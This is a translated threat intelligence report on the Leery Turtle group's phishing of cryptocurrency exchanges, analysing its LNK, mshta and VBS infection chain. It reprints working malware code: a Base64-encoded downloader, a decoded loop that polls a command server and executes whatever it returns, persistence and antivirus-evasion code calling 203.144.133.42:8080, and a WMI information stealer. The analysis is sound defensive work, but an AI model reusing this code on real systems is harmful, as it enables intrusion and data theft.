导语:Leery Turtle组织是一个威胁组织,从2017年底开始活跃。他们的目标是全球的加密货币交易所公司。 他们不断地进行 长时间的钓鱼活动,用定制的恶意软件感染目标。
0x01 Leery Turtle组织介绍
Leery Turtle组织是一个威胁组织,从2017年底开始活跃。,他们的目标是全球的加密货币交易所公司。 他们不断地进行长时间的钓鱼活动,用定制的恶意软件感染目标。
我们的分析的结论是,该组织是系统运作、持续攻击和有团队资助的。
观察到的所有活动都是针对加密货币交易所公司的, Leery Turtle组织不关注任何特定的区域,瞄准世界各地的企业。
在他们的行动中,Leery Turtle组织采用了广泛的侦察战术。 为了指定易受攻击的入口点,他们发送带有非恶意附件的诱饵电子邮件,并监视他们的目标中哪些倾向于打开和下载它们。 证据还表明,LeeryTurtle选择了一些目标,以了解他们私人生活的细节。
攻击会经常用到文件存储服务,如谷歌驱动器,微软一驱动器等。 他们还使用电子邮件欺骗技术,使电子邮件看起来像来自同事。
图片1-示例钓鱼电子邮件模仿谷歌驱动器
0x02 关键攻击技术分析
攻击的步骤如下:
1.一个密码保护的PDF文件与一个LNK快捷方式一起发送,该快捷方式模仿包含pdf密码的文本文件。
2. 双击时,快捷文件通过Windows实用程序mshta.exe向远程服务器发送HTTP请求。 此请求下载并执行第一阶段载荷。
3. 攻击者的Web服务器使用将执行的VBS有效载荷进行响应。 服务器端还存在其他控件, 例如,我们观察到服务器正在检查用户代理字符串是否与MSHTA匹配。
4. 我们观察到Web服务器总是在TCP8080上运行。
5. 第一级有效载荷收集有关受感染系统的信息,并将它们发送到命令和控制服务器。
6. 数控服务器响应第二阶段VBS有效载荷,这将保存在%Temp%目录下。
7. 恶意软件在Startup目录下创建一个名为“xBoxOne.lnk”的快捷文件,作为持久性的一种手段。
LNK Shortcut File - Password.txt.lnk
LNK Shortcut File是一种简单的快捷方式,它使用Microsoft的系统实用程序MSHTA从远程服务器下载和执行VBS代码。 据观察,攻击者在操作的每个阶段都使用URL缩短服务“bit.ly”。
File Dropping and Persistency - First Stage Downloader
可以看到,恶意软件正在删除下面的代码片段中的文件。 恶意软件包含一个Base64编码的代码,然后用.vbs扩展名在%Temp%目录下进行解码和删除。 之后,它在Startup目录下创建另一个快捷文件,作为持久化的一种手段
ucr="https://bit.ly/37W6fgx" … ln="b24gZXJyb3IgcmVzdW1lIG5leHQNCnJhbmRvbWl6ZQ0KaWYgV1NjcmlwdC5Bcmd1b WVudHMuTGVuZ3RoPjAgdGhlbg0KCUhUUD0iaHQiDQoJdXU9SFRQJiJ0cDoiJiIvLyImV1 NjcmlwdC5Bcmd1bWVudHMuSXRlbSgwKQ0KCWNvYj0iV2luSHR0cCI"&"NCgljb2I9Y29i JiJSZXF1ZXN0LiINCgljb2I9Ildpbkh0dHAiJiIuIiZjb2INCgljb2I9Y29iJiI1LjEiD QoJc2V0IHdocj1DcmVhdGVPYmplY3QoY29iKQ0KCWRvIHdoaWxlIHRydWUNCgkJcHM9Il BPIg0KCQl0dz0iMiINCgkJcnRjPSIiDQoJCXRwYz11dSYiPyImInRvcCImImljPSImInM iJk"&"ludCgxMDAwKnJuZCs5MDAwKQ0KCQl3aHIuT3BlbiBwcyYiU1QiLHRwYyxmYWxzZ Q0KCQl3aHIuU2VuZCB0dyYiMDAiDQoJ"&"CWlmIHdoci5TdGF0dXM9MjAwIFRoZW4NCgk JCXJ0Yz13aHIuUmVzcG9uc2VUZXh0DQoJCWVuZCBpZg0KCQlpZiBydGM8PiIiIHRoZW4N CgkJCUV4ZWN1dGUocnRjKQ0KCQkJZXhpdCBkbw0KCQllbmQgaWYNCgkJV1NjcmlwdC5Tb GVlcCAxODAqMTAwMA0KCWxvb3ANCmVuZCBpZg0K" set fob=CreateObject("Scripting.FileSystemObject") flp=fob.GetSpecialFolder(2)&"\"&"Xbox"&".l"&"nk" Set tcl=wish.CreateShortcut(flp) tcl.TargetPath="msh"&"ta" pf=fob.GetSpecialFolder(2)&"\mfesf.vbs" set btf=fob.OpenTextFile(pf,2,true) tcl.Arguments=ucr … btf.Write dbsc(ln) btf.Close()
Base64 Decoded VBS Code - First Stage Downloader
此代码片段定期向CNC发送POST请求以接收要执行的命令。
on error resume next randomize if WScript.Arguments.Length>0 then HTP="ht" uu=HTP&"tp:"&"//"&WScript.Arguments.Item(0) cob="WinHttp" cob=cob&"Request." cob="WinHttp"&"."&cob cob=cob&"5.1" set whr=CreateObject(cob) do while true ps="PO" tw="2" rtc="" tpc=uu&"?"&"top"&"ic="&"s"&Int(1000*rnd+9000) whr.Open ps&"ST",tpc,false whr.Send tw&"00" if whr.Status=200 Then rtc=whr.ResponseText end if if rtc<>"" then Execute(rtc) exit do end if WScript.Sleep 180*1000 loop end if
Checking for Security Products - First Stage Downloader
恶意软件通过与WMI交互来枚举进程列表。 之后,它检查了几种杀软的存在。 如果出现了中国AV产品Qihoo360Total Security,那么它就会删除它创建了一段时间的启动下的快捷方式。 因此,如果存在此安全产品,恶意软件不会在系统上持续存在。
set wmi=GetObject("winmgmts:{impersonationLevel=impersonate}!\\. \root\cimv2") set pl=wmi.ExecQuery("Select * from "&"Win32_Process") for each pi in pl tpl=tpl&LCase(pi.Name)&"|" next ex="ws" if Instr(tpl,"kwsp"&"rot")>0 or Instr(tpl,"nppr"&"ot")>0 then ex="cs" end if ln="star"&"t /b " & ex & "cr"&"ipt """&pf&""" "+"203.144.133.42:8080/ edit" ln2=" & move """&flp&""" """& wish.SpecialFolders("startup") &"\""" if Instr(tpl,"hudo"&"ngf")>0 or Instr(tpl,"qhs"&"afe")>0 then ln2=" & del """&flp&"""" else tcl.Save end if wish.run "CM"&"D.E"&"XE "&"/c " & ln&" 1" & " & " & ln&" 2" & ln2,0,false
Information Gathering Through WMI – Second Stage Malware
恶意软件通过WMI收集大量关于本地系统的信息。 据观察,这些信息后来被恶意软件发送到CNC服务器。
set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48) for each adapter in adapItems on error resume next if isNull(adapter.IPAddress) then else getInfo=getInfo+"Network Adapter:"+tab&adapter.Description+ent getInfo=getInfo+" MAC Address:"+tab&adapter.MACAddress + ent getInfo=getInfo+" IP Address:"+tab+Join(adapter.IPAddress, ",") + ent getInfo=getInfo+" Subnet Mask:"+tab+Join(adapter.IPSubnet, ",") + ent getInfo=getInfo+" Default Gateway:"+tab+Join(adapter.DefaultIPGateway, ",")+ ent if adapter.DHCPEnabled=true then getInfo=getInfo+" DHCP Servers:"+tab&adapter.DHCPServer + ent end if getInfo=getInfo+" DNS Server:"+tab+Join(adapter.DNSServerSearchOrder, ",") + ent end if next
数据发送给CNC
Current Time: 12/3/2019 6:51:57 AM Username: USER-PC\admin Hostname: USER-PC OS Name: Microsoft Windows 7 Professional 32-bit OS Version: 6.1.7601 Install Date: 10/05/2017 Boot Time: 12/3/2019 5:48:54 AM Time Zone: (UTC 0 hours) GMT Standard Time CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz (x64) Path: C:\Users\admin\AppData\Local\Temp\mfesf.vbs Network Adapter: Intel(R) PRO/1000 MT Network Connection MAC Address: 52:54:00:4A:04:AF IP Address: 192.168.100.207,fe80::a179:b3ff:199:2314 Subnet Mask: 255.255.255.0,64 Default Gateway: 192.168.100.2 DNS Server: 192.168.100.2 3696 1 "C:\Windows\System32\cmd.exe" /C "ECHO huobi>C: \Users\admin\AppData\Local\Temp\Password.txt&NOTEPAD.EXE C: \Users\admin\AppData\Local\Temp\Password.txt&DEL C: \Users\admin\AppData\Local\Temp\Password.txt" 2884 1 \??\C:\Windows\system32\conhost.exe 328 1 NOTEPAD.EXE C: \Users\admin\AppData\Local\Temp\Password.txt 2712 0 WmiPrvSE.exe 1768 1 wscript "C:\Users\admin\AppData\Local\Temp\mfesf.vbs" 203.144.133.42:8080/edit 1 1096 1 wscript "C:\Users\admin\AppData\Local\Temp\mfesf.vbs" 203.144.133.42:8080/edit 2
Command and Control Communication – Second Stage Malware
据观察,恶意软件有两种不同的通信方法来接收命令。 第一种方法是简单地接收Base64编码格式的命令。 以“23#”开头的数控响应正在使用这种方法。
第二个有点复杂。 这一次恶意软件将从CNC接收第二个URL,然后它将向这个URL发送一个GET请求。 第二个服务器将使用加密的有效载荷和解密密钥进行响应。 我们认为,这一机制是一个更有弹性的控制系统。 以“20#”开头的数控响应正在使用这种方法。
1.简单的通信方法
2.Dead-Drop 通讯方法
这个组织使用的技术和战术是根据下面的MITREATT&CK框架映射的
0x03 检测和缓解措施
0x04 附录文件
本文翻译自:https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf如若转载,请注明原文地址: